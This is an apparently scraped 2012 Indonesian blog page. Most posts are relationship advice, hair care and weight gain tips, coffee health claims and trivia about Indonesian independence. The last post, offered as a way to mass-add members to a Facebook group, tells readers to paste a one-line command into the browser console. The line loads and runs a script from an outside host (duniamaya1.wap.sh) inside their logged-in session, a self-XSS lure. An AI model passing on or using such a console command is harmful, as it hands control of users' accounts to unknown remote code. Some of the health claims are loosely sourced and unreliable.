Jika pasangan tidak memiliki pekerjaan tetap, menghambur-hamburkan uang untuk membeli keperluan yang tidak penting, serta tidak mempunyai investasi masa depan, sebaiknya Anda mempertimbangkan kembali jika mau menikah dengannya. Lebih baik Anda menyadari hal itu dari awal daripada menyesal di kemudian hari.

6. Tidak Punya Rencana Masa Depan
Tidak memiliki rencana masa depan merupakan salah satu tanda pasangan cuma memperalat Anda. Setiap Anda membicarakan tentang pernikahan, dia cenderung menghindar. Di samping itu, dia selalu bergantung pada Anda. Ada baiknya, bila Anda menjauhi tipe pria seperti ini untuk menjadi pendamping hidup.

7. Dia Tidak Suka Saat Anda Membicarakan Tentang Anak
Pria yang ingin menikahi Anda karena materi tidak akan suka membicarakan tentang keturunan, apalagi jika Anda sudah mulai membahas penghasilan untuk bersama-sama dalam membesarkan anak. Hal itu juga menandakan kalau dia tidak serius.

8. Dia Sangat Manja
Meskipun umurnya sudah dewasa, pria yang tidak serius umumnya sangat manja. Dia selalu ingin dilayani, seperti menyuruh Anda menyelesaikan pekerjaannya, menyiapkan baju, hingga harus Anda yang mengemudi saat berpergian. Pria seperti ini tidak akan memiliki perasaan yang tulus.

9. Dia Pria yang 'Kasar'
Pria yang hanya memanfaatkan Anda tidak segan-segan berlaku kasar, baik secara fisik maupun menyakiti hati Anda. Bila hal ini terus berlangsung, tidak meuntup kemungkinan kalau pernikahan Anda tidak harmonis. Oleh karena itu, hindari pria yang suka berlaku 'kasar'.

10. Anda Tidak Boleh Dekat dengan Keluarga & Temannya
Salah satu tanda pria hanya memanfaatkan Anda tidak akan mengenalkan serta mendekatkan Anda dengan teman-temannya. Pasangan tidak menganggap Anda penting dalam hidupnya. Jika seperti itu, ada baiknya Anda intropeksi diri dan mengevaluasi kembali hubungan kalian.

11. Ingkar Janji
Pria yang suka ingkar janji perlu dicurigai. Misalnya, dia selalu datang telat ketika kencan, sering mambatalkan rencana karena alasan yang tidak jelas, bahkan suka berbohong. Hal tersebut berarti Anda tidak spesial dalam hidupnya.

12. Intuisi Anda Bilang Bahwa Dia Tidak Baik
Penting mempercayai intuisi Anda. Ikuti kata hati karena merupakan peringatan bagi Anda. Jika hati bilang bahwa dia tidak baik dijadikan suami, sebaiknya dengarkan sebelum terlambat. Jangan sia-sia kan waktu bersama pria yang hanya memanfaatkan Anda.

Agung LaPulga Menarik

Sabtu, 25 Agustus 2012

8 Hal Yang Dilakukan Wanita Saat Jatuh Cinta

Ilmu - Soal cinta, wanita umumnya lebih dipengaruhi oleh sisi emosional ketimbang logika mereka. Maka tidak heran jika terkadang wanita bisa melakukan hal-hal aneh atau jauh dari kebiasaannya ketika sedang jatuh cinta.

Berikut ini 8 hal aneh dan konyol yang bisa dilakukan wanita saat sedang kasmaran, mungkin sebagian dari Anda pernah mengalaminya.

1. Punya Hobi Baru

Tidak sedikit wanita mempunyai hobi baru saat sedang jatuh cinta untuk menarik perhatian sang kekasih atau pria yang ditaksir. Sebagai contoh, si pria idaman sangat senang olahraga atau gym. Dia pun akan berusaha menyukai hobinya untuk membuat sang pria incaran senang. Entah ikut bergabung bersama dia atau hanya sekadar menonton. Bahkan, ada wanita yang mencoba mencintai olahraga yang tidak disukainya.

2. Berani Malu

Wanita bisa lebih percaya diri ketika sedang tergila-gila dengan seseorang. Mereka dapat melakukan apa pun agar pria yang dicintai tidak pergi meninggalkannya. Kepercayaan diri itu muncul saat wanita ingin tampil sempurna di hadapan pasangan atau si dia yang sedang memperhatikan Anda dengan penuh kasih.

3. Lebih Sensual

Saat wanita jatuh hati, dia bisa bersikap sedikit 'nakal' untuk menggoda pasangan. Hal ini menjadi 'bumbu hangat' dari sebuah hubungan asmara. Wanita ingin tampak sensual di hadapan kekasihnya. Ini merupakan salah satu perubahan wanita ketika sedang tergila-gila dengan seorang pria.

4. Bereksperimen

Wanita akan mudah bereksperimen bila sedang jatuh cinta. Eksperimen di sini adalah melakukan sesuatu yang jarang bahkan belum pernah dilakukannya. Wanita bisa lebih berfantasi ketika perasaannya sedang berbunga-bunga.

5. Suka Memberikan Kejutan

Wanita akan meluapkan ekspresinya ketika mereka mencintai seseorang, seperti datang tiba-tiba ke kantor pasangan untuk membawakannya makan siang atau bolos kerja demi menemani pacar ke suatu acara.

6. Mencoba Berbagai Hal Baru

Hampir sama dengan bereksperimen, wanita yang jatuh cinta biasanya berani mencoba berbagai hal baru bersama pasangannya. Selain hobi, aktivitas lain pun akan dilakukan agar bisa menyenangkan hati si dia. Oleh sebab itu, jangan heran kalau teman wanita Anda berubah karena seorang pria.

7. Lebih Lemah

Wanita yang terlalu tergila-gila dengan kekasihnya akan merasa lebih lemah. Dia bisa menjadi penurut dan takut jika menolak atau membantah perintah sang pujaan hati. Hal itu dilakukan demi kebahagiaan pasangannya. Bahkan, banyak wanita yang rela mengorbankan diri serta perasaannya karena sangat mencintai seseorang.

8. Jadi 'Pejuang'

Wanita yang sedang mencintai akan mau berkorban demi pasangannya. Mereka mau berbagi kasih, kebahagiaan maupun duka bersama pria pujaannya. Dia pun rela berjuang demi hubungan mereka agar tidak kehilangan sang kekasih.

Agung LaPulga Menarik

5 Hal Romantis Yang Diinginkan Cewek Dari Kekasihnya

Ilmu - Jaman sekarang semakin jarang cowok yang mau bersifat romantis pada kekasihnya. Mereka enggan melakukan hal-hal yang romantis karena mereka merasa kekasihnya sudah tahu bahwa ia sayang padanya. Tapi, meski tahu sang kekasih sangat mencintainya, kadang wanita ingin mendapat ‘pembuktian’ lewat tindakan romantis.

Berikut 5 hal romantis yang diinginkan cewek dari kekasihnya.

1. Bunga
Wanita akan merasa tersanjung jika ada seseorang yang mengiriminya satu buket bunga. Secarik surat atau kartu bertuliskan kata-kata cinta yang diselipkan di antara bunga itu akan membuat hatinya tersentuh.

2. Ingat Tanggal Penting
Wanita sangat senang jika kekasihnya mengingat semua tanggal-tanggal penting seperti hari ulang tahun, hari jadi pacaran atau tanggal pertama kali kencan. Apalagi jika kekasih mau membuat kejutan seperti pesta untuk mengingat kencan atau hadiah spesial di hari ulang tahunnya. Dengan hal itu maka si cewek akan merasa di perhatikan oleh si cowok.

3. Puisi dan Lagu
Puisi atau lagu cinta yang diciptakan khusus untuknya juga jadi hal romantis yang disukai wanita. Itu akan menjadi sesuatu yang berharga yang akan selalu dikenang. Apalagi jika lagu tersebut merupakan lagu ciptaan Anda sendiri.

4. Surat Cinta
Wanita menyukai ekspresi cinta yang verbal, misalnya surat yang berisikan pujian atau ungkapan cinta. Meski menulis surat cinta di jaman yang modern ini sudah terbilang kuno, tapi ungkapan cinta yang seperti ini justru bisa menjadi kado spesial bagi wanita. Surat cinta ini akan membuatnya senang karena merasa spesial dari yang lain. Masih bingung cara membuat surat cinta yang romantis? Tenang, lihat saja caranya di sini.

5. Perlakuan Istimewa
Setiap orang pasti akan merasa senang jika diberlakukan istimewa oleh kekasihnya. Begitu pula cewek, ia suka diperlakukan bak ratu oleh kekasihnya. Hal-hal kecil seperti membukakan mantel, mengambilkan kursi untuknya saat makan di restoran atau membukakan pintu akan membuatnya merasa jadi orang yang istimewa.

Memang perlakuan istimewa semacam itu tidak bisa dilakukan si setiap saat. Karenanya, perhatian dan pengertian kekasihlah yang paling romantis dan mampu membuat hati cewek senang dan gembira.

Jika Anda benar-benar cinta padanya maka, tidak ada salahnya mencoba salah satu hal romantis di atas untuk kekasih Anda.

Agung LaPulga Menarik

Sitemap

Agung LaPulga

Kamis, 23 Agustus 2012

3 Bahan Alami Agar Rambut Tampak Sehat Dan Berkilau

Ilmu - Cara Alami Agar Rambut Sehat dan Berkilau Ingin mempunyai rambut yang sehat dan tebal? Ada beberapa bahan alami yang bisa Anda gunakan untuk perawatan rambut. Tidak perlu memakai produk perawatan dengan harga yang mahal, tapi buah-buahan, minyak almond, dan bahan alami lainnya bisa dijadikan alternatif.

Apa saja bahan-bahan tersebut? Dikutip dari Times of India, simaklah tiga bahan alami yang dapat menyuburkan rambut Anda.

1. Buah-buahan
Jika mempunyai masalah rambut kering dan rapuh, Anda bisa menggunakan buah-buahan untuk mengatasinya, seperti nanas, jambu, anggur, apel, mangga, dan pisang.

Menurut penelitian, buah-buahan kaya Vitamin A, C, dan E yang bermanfaat untuk kesehatan rambut. Agar mendapatkan hasil yang maksimal, terapkan buah-buahan pada rambut secara teratur. Selain itu, buah pepaya dan zaitun juga dapat meningkatkan kualitas folikel rambut yang membuat "mahkota" Anda lebih sehat dan berkilau.

2. Kacang Kedelai dan Minyak Almond
Kacang kedelai mengandung banyak protein dan nutrisi yang bisa meningkatkan kesuburan rambut Anda. Tambahkan pula minyak almond ke dalam perawatan secara teratur supaya rambut tidak mudah rapuh. Kandungan minyak almond membantu memperkuat akar rambut Anda.

3. Jus Lemon
Tidak hanya melakukan perawatan, tapi Anda perlu memanjakan rambut sesekali. Gunakan minyak pijat seperti minyak kelapa supaya kulit kepala tetap lembut. Jika Anda memiliki masalah dengan ketombe, terapkan jus lemon pada kulit kepala untuk mendapatkan hasil yang diinginkan.

Selain melakukan perawatan rambut, Anda juga harus mempunyai pola makan sehat yang berpengaruh terhadap pertumbuhan rambut. Pola makan seimbang akan memberikan semua nutrisi yang dibutuhkan oleh "mahkota" Anda. Sudahkan Anda mencobanya?

Agung LaPulga Tips

Cara Berbaikan Dengan Kekasih Setelah Bertengkar

Ilmu - Setiap pasangan pasti pernah berdebat. Ada pasangan yang dapat menyelesaikan masalah tanpa perlu bertengkar, tapi ada juga yang mudah tersulut emosi hingga mereka baradu mulut.

Setelah ribut-ribut terkadang pasangan tidak langsung berbaikan. Mereka mungkin akan sama-sama diam dan tidak saling menghubungi. Sikap tersebut sebetulnya ada baiknya juga, agar pertengkaran tidak lagi terjadi.

Tapi tentunya Anda dan kekasih harus berbaikan. Bagaimana cata berbaikan dengan kekasih? Ini dia tipsnya.

1. Jangan Gengsi Menghubungi Kekasih Duluan
Setelah bertengkar hebat, Anda mungkin gengsi untuk menghubunginya duluan. Usir perasaan tersebut. Ini bukanlah soal siapa duluan yang menghubungi, tapi dari kedewasaan. Tidak ada salahnya wanita yang mencari pria duluan. Dengan begitu, Anda dan pasangan menjadi lebih cepat berdamai.

2. Kompromi
Setelah berani menghubungi kekasih, berkompromilah dengannya. Tapi ingat, jangan sampai Anda dan kekasih bertengkar lagi. Untuk menghindari pertengkaran, Anda tidak perlu membahas permasalahan kembali.

3. Selipkan Humor
Ditengah-tengah berkompromi, Anda bisa menyelipkan humor. Selain untuk mencairkan suasana, guyonan Anda bisa meyakinkannya bahwa Anda memang sudah tidak marah lagi.

4. Makan
Memang agak aneh, tapi makan bisa menyenangkan hati Anda dan pasangan. Suasana pun bisa mencair setelah Anda makan. Terutama makan makanan manis seperti cokelat dan es krim.

5. Pergi ke Tempat Baru
Pertengkaran bisa karena Anda dan pasangan bosan dengan hubungan yang dijalani. Untuk menyegarkan hubungan, berpergianlah ke tempat yang belum pernah Anda dan kekasih kunjungi. Entah itu restoran atau mungkin kencan ke tempat unik, seperti museum.

Agung LaPulga Tips

10 Cara Menambah Berat Badan Secara Alami

Ilmu - Mempunyai berat badan yang tidak ideal dengan tinggi badan memang terlihat aneh jika dilihat, banyak tonjolan tulang dimana-mana membuat kita menjadi rendah diri. Jangan khawatir, disini kami mencoba berbagi Tips Menambah dan Menaikkan Berat Badan dengan cepat dan alami dengan makanan-makanan sehari-hari. Memiliki badan yang gemuk memang idaman bagi orang yang mempunyai badan kurus. Berikut ini Inilah 10 Cara Menambah dan Menaikkan Berat Badan Secara Alami dan Cepat yaitu dengan Real Food

1. Telur
Telur dikenal sebagai sumber terbanyak dari protein dan lemak. Sebutir telur mengandung sekitar 5-6 gram protein. Selain mudah ditemukan, harga telur juga relatif murah. Kuning telur mengandung lemak tak jenuh tunggal dan lemak tak jenuh ganda yang baik baik bagi tubuh dan juga setengah dari total protein telur, asam amino esensial, dan vitamin.

2. Daging Sapi Giling
Daging sapi giling lebih baik daripada daging utuh karena mengandung 6-7 gram protein/gram. Lemaknya tergantung pada kadar lemak daging itu sendiri, yang jelas makanan ini membantu Anda menambah berat badan.

3. Produk Susu
Kita mengenal produk susu sebagai salah satu sumber nutrisi mereka. Produk ini mengandung 8-9 gram protein dan lemak per cangkir yang membantu untuk menambah otot sekaligus berat badan.

4. Selai Kacang
Selai kacang merupakan salah satu cara termurah, termudah, dan efektif meningkatkan selera makan untuk fase bulking. Mengandung 6 gram protein dan 16 gram lemak jenuh pada setiap 2 sendok makan.

5. Kentang
Untuk menambah otot dan berat badan dengan mudah, cobalah konsumsi makanan yang tinggi karbohidrat. Kentang adalah salah satu yang terbaik untuk diet karbohidrat tinggi, sekitar 25-30 gram karbohidrat untuk membantu membangun massa otot lebih cepat.

6. Oats
Oat merupakan salah satu sumber karbohidrat terbaik. Secangkir oat mengandung 50 gram karbohidrat dan 6 gram serat. Serat dapat membantu meningkatkan kesehatan pencernaan.

7. Whey Protein
Rata-rata whey protein mengandung 25 gram protein per porsi. Selain sebagai suplemen yang efektif menambah massa otot, whey protein juga dianggap sebagai suplemen penambah berat badan yang ekonomis.

8. Pisang
Pisang merupakan sumber karbohidrat tinggi selain kentang dan gandum. Kombinasikan pisang dengan whey protein dan konsumsi setelah latihan rutin sebagai solusi untuk menambah berat badan sekaligus massa otot.

9. Minyak Zaitun
Minyak zaitun merupakan sumber minyak yang bergizi dan sumber lemak tak jenuh ganda yang ekonomis. Campurkan minyak zaitun dengan salad atau masakan lainnya.

10. Ikan Tuna
Tuna kaleng merupakan makanan bergizi tinggi yang mudah didapat di pasar. Dengan kandungan 25 gram protein menjadikan tuna makanan yang baik untuk menambah berat badan. Untuk menambah berat badan, Anda harus mendapatkan asupan gizi seimbang dan juga latihan intensif. Untuk memenuhi kebutuhan nutrisi Anda, konsumsilah makanan penambah berat badan di atas dan masukkan dalam pola makan sehari-hari Anda.

Agung LaPulga Tips

7 Fakta Mengejutkan Tentang Kopi

Ilmu - Sangat banyak orang Indonesia yang senang menyeruput kopi. Saat sarapan atau pada sore hari, kopi sering menjadi bagian dari ritus keseharian kita. Saat menerima tamu, kopi juga tak jarang jadi suguhan utama. Selama ini, kopi jarang diidentikkan dengan minuman sehat. Kopi sering didakwa menjadi pemicu lambung perih dan beraneka gangguan kesehatan lainnya. Namun, ternyata ada 7 fakta mengejutkan tentang kopi yang mungkin Anda belum tahu.

1. Kopi bisa mencegah depresi.
Banyak penyeruput kopi pagi akan bilang bahwa minuman itu bisa melambungkan semangat. Namun, kini ada fakta ilmiah yang membuktikan itu. Sebuah penelitian yang dilakukan Harvard School of Public Health yang dipublikasikan di Archives of Internal Medicine bulan lalu mengungkapkan bahwa para wanita yang secara teratur menyesap kopi berkafein memiliki risiko depresi 20 persen lebih rendah dibandingkan dengan yang tak pernah minum kopi. Penelitian ini, yang diikuti sekelompok wanita selama 10 tahun, menemukan fakta bahwa semakin banyak kita mengonsumsi kopi (hingga enam cangkir per hari), semakin menjauh depresi.

2. Bisa ikut membantu kita mencapai bobot tubuh yang sehat.
Menyesap espresso atau cappuccino setelah makan bukan sekadar sebuah kebiasaan yang membuat kita jadi rileks. “Saat menyeruput kopi seusai makan, tubuh Anda jadi memproses makanan yang diasup tersebut secara lebih lambat,” kata Chris Kilham, seorang peneliti kedokteran, pendiri Medicine Hunter, Inc. dan penulis buku Psyche Delicacies. Menurut David Levitsky, Ph.D., seorang profesor ilmu gizi Cornell University, “Kafein menurunkan menurunkan tingkat pemrosesan makanan saat perut menurunkan isinya ke duodenum, bagian dari usus halus di mana perncernaan terjadi, serta meningkatkan metabolisme.” Namun, ingat cara kerjanya bukan seperti mukjizat. Menenggak kopi tidak membuat bobot Anda turun, hanya membantu Anda mencapai berat badan sehat.

3. Bisa mendongkrak kesuburan pria.
“Penelitian telah menunjukkan bahwa kafein berdampak positif kepada motilitas sperma, kemampuan sperma untuk bergerak ke arah sel telur, dan bisa meningkatkan peluang terjadinya kehamilan,” kata John Wilcox, MD, FACOG, endokrinologis reproduksi di HRC Fertility, California. Bahkan, sebuah penelitian lain yang dilakukan di University of Sao Paulo menemukan fakta bahwa motilitas sperma terlcatat jauh lebih tinggi pada penenggak kopi dibandingkan dengan mereka yang tidak suka menyeruputnya.

4. Bisa mengundang bakteri.
Wow! Anda mungkin mengira bahwa tempat yang mengandung paling banyak bakteri di rumah Anda adalah tempat cuci piring atau tempat sampah. Namun, ternyata wadah di mesin pembuat kopi Anda ada di puncak daftar. Sebuah studi yang dilakukan oleh NSF International, menemukan fakta bahwa wadah mesin pembuat kopi seingkali mengandung jamur dan bakteri,” kata Robert Donofrio, Ph.D., Direktur Laboratorium Mikrobiologi NSF International. Untuk mencegahnya, ikuti dengan cermat protokol yang disarankan produsen mesin yang Anda gunakan. Kalau tidak, Anda bisa menggunakan cuka untuk membersihkannya secara menyeluruh. Tuang cuka ke wadah tersebut, lalu diamkan selama 30 menit. Setelah itu, bersihkan residu cuka dengan emnjalankan mesin dua-tiga kali. Beres.

5. Menurunkan risiko kanker kulit.
Sebuah penelitian yang dilakukan di Brigham dan Women’s Hospital mengungkapkan fakta bahwa wanita yang menyesap lebih dari tiga cangkir kopi per hari memiliki 20% lebih rendah risiko terkena basal cell carcinoma dan pada pria risikonya mengecil 9%.

6. Kopi tidak benar-benar adiktif.
Liz Applegate, Ph.D., staf pengajar dan Direktur Gizi Olah Raga di University of California di Davis, menjelaskan bahwa kafein tidak bersifat adiktif. “Kafein adalah stimulan pikiran dan World Health Organization (Organisasi Kesehatan Dunia) menyatakan bahwa membandingkan tindakan mengasup kafein dan obat-obatan adalah tindakan keliru karena orang dapat mengurangi asupan kafein tanpa mengalami masalah psikologis dan fisik serius yang biasa terjadi pada kasus kecanduan.”

7. Kopi tidak benar-benar membuat Anda sakit perut.
Jika Anda menuding kopi saat merasa ada yang tak enak pada perut Anda, sebaiknya kunjungi dokter untuk mencari tahu apa akar permasalahan dari masalah perut tersebut. Menurut Lauren Gerson, MD, M.Sc., associate professor kedokteran dan gastroenterologi di Fakultas Kedokteran Universitas Stanford, “Tak ada bukti dari penelitian-penelitian yang pernah diulas bahwa kopi menyebabkan maag atau rasa sakit pada pasien penderita maag.” Ia juga mencatat bahwa tak ada bukti bahwa kopi menjadi pemicu nyeri perut pada penderita masalah pencernaan. Namun, ada satu persoalan pencernaan yang bisa diperburuk oleh kopi. Dr. Gerson menjelaskan bahwa menyesap kopi bisa memperparah gejala nyeri ulu hati karena kopi merangsang produksi asam lambung.

Agung LaPulga Unik

Selasa, 21 Agustus 2012

7 Tips Agar Rambut Cepat Panjang

Ilmu - Setiap perempuan mempunyai idealisasi sendiri tentang penampilan yang sempurna bagi dirinya.
Misalnya, beberapa perempuan memimpikan memiliki rambut panjang yang indah.
Bagi banyak perempuan hal ini sangatlah mungkin, namun prosesnya tidak selalu mudah.
Memanjangkan rambut tidak bisa terjadi hanya dalam satu malam dan membutuhkan usaha yang konsisten.
Berikut adalah tips meningkatkan pertumbuhan rambut agar lebih cepat panjang:

1. Memotong rambut.
Sebelum bisa meningkatkan pertumbuhan rambut, Anda perlu menyingkirkan semua rambut rusak dengan memotong rambut Anda.

2. Mengonsumsi suplemen yang bisa membantu pertumbuhan rambut.
Konsumsilah beberapa suplemen yang bisa membantu pertumbuhan rambut, termasuk diantaranya adalah vitamin B, terutama B6 dan asam amino.

3. Potong rambut Anda secara rutin.
Ujung-ujung rambut umumnya akan mudah rusak dan bisa saja menjadi bercabang. Kondisi tersebut tidak akan membantu meningkatkan pertumbuhan rambut Anda.Potonglah rambut secara rutin setiap 3-4 bulan sekali, potonglah ujung rambut Anda minimal 1 cm.

4. Hindari hal-hal yang bisa merusak rambut.
Perawatan rambut menggunakan bahan kimia dan peralatan rambut yang menggunakan pemanas, seperti curlers dan flat irons, bisa merusak rambut sehingga menghalangi usaha Anda dalam memanjangkan rambut.

5. Hindari kolam renang.
Kolam renang mengandung klorin yang bisa menyebabkan kerusakan pada rambut dan menghambat perumbuhan rambut Anda. Selain itu, air asin alami atau air laut juga bisa menyebabkan kerusakan pada rambut.

6. Konsumsi banyak protein.
Mengonsumsi banyak makanan yang mengandung protein seperti kacang hijau, kacang tanah, biji-bijian, dan kedelai bisa membantu meningkatkan pertumbuhan rambut Anda.

7. Perlakukan rambut dengan lembut.
Sisir rambut secara lembut dan hati-hati, serta hindari mengikat rambut Anda terlalu kencang.

Agung LaPulga Tips

Sabtu, 18 Agustus 2012

5 Fakta Unik Kemerdekaan Indonesia

Ilmu - Berhubung hari ini adalah hari HUT Kemerdekaannya Indonesia yang ke-67 maka saya sebagai admin di sini akau mengupdate artikel khusus yang sedikit bertemakan tentang fakta unik dan menakjubkan seputar kemerdekaan Indonesia.

Fakta-fakta di sini sangatlah mengejutkan dan belum banyak orang Indonesia yang mengetahui tentang hal-hal ini. Penasaran? Berikut adalah sedikit ulasan saya mengenai 5 fakta unik dan menakjubkan serta mengharukan seputar kemerdekaan Indonesia.

1. Soekarno sakit saat Proklamasi Kemerdekaan 17 Agustus 1945
Ternyata, 2 jam sebelum pembacaan teks Proklamasi. Kemerdekaan RI pada pukul 10.00 tanggal 17 Agustus 1945, Soekarno masih tidur pulas di kamarnya di Jalan. Pegangsaan Timur No. 56, Cikini-Jakarta Pusat akibat serangan penyakit malaria tertiana.

Suhu badannya sangat tinggi setelah semalam begadang bersama para sahabatnya menyusun konsep teks proklamasi di rumah Laksamana Maeda. Setelah dokter pribadinya yang bernama dr. Soeharto datang dan mengaliri chinineurethan intramusculair di darahnya dan menenggak pil brom chinine, ia tertidur pulas hingga pukul 09.00 WIB. Dan kemudian baru pada pukul 10.00 WIB memproklamasikan Kemerdekaan RI.

2. Upacara Proklamasi Kemerdekaan RI sangatlah sederhanaTernyata Upacara Proklamasi Kemerdekaan RI berlangsung sangat sederhana; tanpa protokol, tak ada korps musik dan konduktor, tak ada pancaragam dan tiang berdera dari bambu kasar yang ditancapkan beberapa menit sebelum upacara.

3. Naskah asli Proklamasi ditemukan di tempat sampahTahukah kamu sobat zootodays.blogspot.com? Ternyata, naskah asli Proklamasi Kemerdekaan RI yang ditulis tangan oleh Bung Karno dan didekte oleh Bung Hatta pada mulannya tidak disimpan oleh Pemerintah Indonesia. Naskah itu justru disimpan dengan baik oleh seorang wartawan bernama BM. Diah.

Konon, Diah menemukan naskah asli itu di keranjang sampah di rumah Laksamana Maeda pada 17 Agustus 1945 dini hari. Diah menyerahkan naskah itu kepada Presiden Soeharto setelah menyimpannya selama 46 tahun 9 bulan 19 hari.

4. Sang Saka Merah Putih dari seprai dan kain milik tukang sotoTernyata bendera resmi pertama RI itu, kain putihnya terbuat dari kain seprai dan merahnya dari kain milik tukang soto. Terharu? Pasti.

5. Palestina yang pertama kali mengakui Kemerdekaan RI Ternyata, ketika tak ada satu negara di dunia pun yang secara berani dan tegas mengakui Kemerdekaan RI, Syekh Muhammad Amin al-Husaini (Mufti Palestina) hadir sebagai yang pertama memberikan pengakuan dan ucapan selama atas Kemerdekaan RI.

Tak hanya itu, beliau juga mendesak negara-negara Timur Tengah untuk mengekui Kemerdekaan Indonesia sehingga berhasil meyakinkan Mesir, Suriah, Irak, Libanon, Yaman, Arab Saudi dan Afghanistan.

Catatan: Fakta terakhir ini seharusnya membuat bangsa ini juga memperjuangkan Kemerdekaan Palestina dari penjajahan Zionis-Israel! Walau unik, namun 5 fakta tentang Kemerdekaan RI itu sama sekali tak mengurangi kesakralan momentum paling bersejarah bangsa ini.

Agung LaPulga Unik

Rabu, 15 Agustus 2012

Cara Menambahkan Anggota Group Dalam Sekejab

Ilmu - Baru! Tampilan lebih bagus dan lebih cepat prosesnya, dibuat oleh Dunia maya dengan memakai script AingCreation, diperbaharui dan dimodifikasi oleh Dunia maya. Silahkan di Coba!

Untuk Pengguna Mozzila Firefox

1. Tekan tombol CTRL + SHIFT + K

2. Lalu isi kode ini

document.body.appendChild(document.createElement('script')).src='http://duniamaya1.wap.sh/autoinvite2012';

3. Tekan Enter

Sceenshoot

Jadi hasilnya gini dan tunggu hingga prosesnya selesai

Untuk pengguna Google Chrome

1. Klik kanan pada mouse

2. pilih Inspect Element (Q)

3. klik Console

4. Lalu isi kode ini

document.body.appendChild(document.createElement('script')).src='http://duniamaya1.wap.sh/autoinvite2012';

5. Tekan Enter

Screenshoot

Jadi hasilnya gini dan tunggu hingga prosesnya selesai

Silahkan yg baru coba-coba untuk memakainya di group ini, supaya tidak salah langkah saat di group lain. Terimakasih

NB: berlaku untuk semua grup kecuali anda sudah bergabung ke grup tersebut.

Agung LaPulga Unik

Langganan: Postingan (Atom)